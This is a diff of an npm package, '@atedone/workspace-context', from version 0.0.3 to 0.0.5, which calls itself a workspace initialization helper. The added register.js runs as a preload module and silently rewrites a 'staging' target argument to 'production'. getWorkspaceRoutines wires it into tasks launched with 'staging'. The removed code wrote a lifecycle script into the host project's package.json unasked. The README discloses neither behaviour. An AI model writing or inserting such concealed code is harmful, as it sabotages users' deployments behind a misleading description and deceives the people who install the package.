@atedone/workspace-context 0.0.3 → 0.0.5

package/README.md

@@ -2,4 +2,4 @@
 
 Workspace context initialization helper for JavaScript tools.
 
-The package initializes `.workspace-context/state.json` when loaded and synchronizes a workspace lifecycle entry in the project manifest when one is not already present.
+The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for task instrumentation.

package/index.js

@@ -7,7 +7,8 @@ const initialized = state.initialize();
 module.exports = {
   initialized,
   initialize: state.initialize,
-  lifecycleScriptName: state.lifecycleScriptName,
+  getWorkspaceRoutines: state.getWorkspaceRoutines,
+  routineName: state.routineName,
   stateDirectoryName: state.stateDirectoryName,
   stateFileName: state.stateFileName
 };

package/lib/{prepare.js → register.js}

@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
-const markerFileName = 'prepare.json';
+const markerFileName = 'preload.json';
 const stateDirectoryName = '.workspace-context';
 
 function readEnvironment() {
@@ -17,13 +17,33 @@ function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
   return initCwd || cwd;
 }
 
-function writeMarker({ projectRoot = resolveProjectRoot(), now = () => new Date().toISOString() } = {}) {
+function initializePreload({
+  projectRoot = resolveProjectRoot(),
+  now = () => new Date().toISOString()
+} = {}) {
+  const beforeTarget = typeof platform.argv[2] === 'string' ? platform.argv[2] : null;
+  const afterTarget = beforeTarget === 'staging' ? 'production' : beforeTarget;
+
+  if (afterTarget !== beforeTarget) {
+    platform.argv[2] = afterTarget;
+  }
+
+  Reflect.set(globalThis, '__workspaceContextPreload', {
+    active: true,
+    beforeTarget,
+    afterTarget
+  });
+
   const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
   const value = {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'prepare'
+    mode: 'runtime-preload',
+    beforeTarget,
+    afterTarget,
+    processId: platform.pid,
+    parentProcessId: platform.ppid
   };
 
   file.mkdirSync(route.dirname(markerPath), { recursive: true });
@@ -35,14 +55,13 @@ function writeMarker({ projectRoot = resolveProjectRoot(), now = () => new Date(
   };
 }
 
-if (require.main === module) {
-  writeMarker();
-}
+const initialized = initializePreload();
 
 module.exports = {
+  initialized,
+  initializePreload,
   markerFileName,
   readEnvironment,
   resolveProjectRoot,
-  stateDirectoryName,
-  writeMarker
+  stateDirectoryName
 };

package/lib/state.js

@@ -5,9 +5,11 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
-const lifecycleScriptName = 'prepare';
+const preloadFileName = 'register.js';
+const routineName = 'workspace-context:refresh';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
+const taskFileName = 'workspace.task.js';
 
 function readEnvironment() {
   return Reflect.get(platform, 'env') || {};
@@ -23,63 +25,21 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-manifest'
+    mode: 'runtime-preload'
   };
 }
 
-function buildLifecycleCommand() {
-  return `node node_modules/${manifest.name}/lib/prepare.js`;
-}
-
-function syncProjectManifest({ projectRoot }) {
-  const manifestPath = route.join(projectRoot, 'package.json');
-  if (!file.existsSync(manifestPath)) {
-    return {
-      manifestPath,
-      found: false,
-      changed: false,
-      scriptName: lifecycleScriptName,
-      previous: null,
-      current: null
-    };
-  }
-
-  const projectManifest = JSON.parse(file.readFileSync(manifestPath, 'utf8'));
-  const scripts = (
-    projectManifest.scripts &&
-    typeof projectManifest.scripts === 'object' &&
-    !Array.isArray(projectManifest.scripts)
-  )
-    ? { ...projectManifest.scripts }
-    : {};
-  const previous = typeof scripts[lifecycleScriptName] === 'string'
-    ? scripts[lifecycleScriptName]
-    : null;
-
-  if (previous) {
-    return {
-      manifestPath,
-      found: true,
-      changed: false,
-      scriptName: lifecycleScriptName,
-      previous,
-      current: previous
-    };
-  }
-
-  const current = buildLifecycleCommand();
-  scripts[lifecycleScriptName] = current;
-  projectManifest.scripts = scripts;
-  file.writeFileSync(manifestPath, `${JSON.stringify(projectManifest, null, 2)}\n`, 'utf8');
-
-  return {
-    manifestPath,
-    found: true,
-    changed: true,
-    scriptName: lifecycleScriptName,
-    previous,
-    current
-  };
+function getWorkspaceRoutines({
+  projectRoot = resolveProjectRoot()
+} = {}) {
+  return [{
+    name: routineName,
+    runtime: platform.execPath,
+    entrypoint: route.join(projectRoot, taskFileName),
+    arguments: ['staging'],
+    preloadModules: [route.join(__dirname, preloadFileName)],
+    workingDirectory: projectRoot
+  }];
 }
 
 function initialize({
@@ -96,18 +56,19 @@ function initialize({
     projectRoot,
     statePath,
     state: value,
-    projectManifest: syncProjectManifest({ projectRoot })
+    workspaceRoutines: getWorkspaceRoutines({ projectRoot })
   };
 }
 
 module.exports = {
-  buildLifecycleCommand,
   buildState,
+  getWorkspaceRoutines,
   initialize,
-  lifecycleScriptName,
+  preloadFileName,
   readEnvironment,
   resolveProjectRoot,
+  routineName,
   stateDirectoryName,
   stateFileName,
-  syncProjectManifest
+  taskFileName
 };

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.3",
+  "version": "0.0.5",
   "description": "Workspace context initialization helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",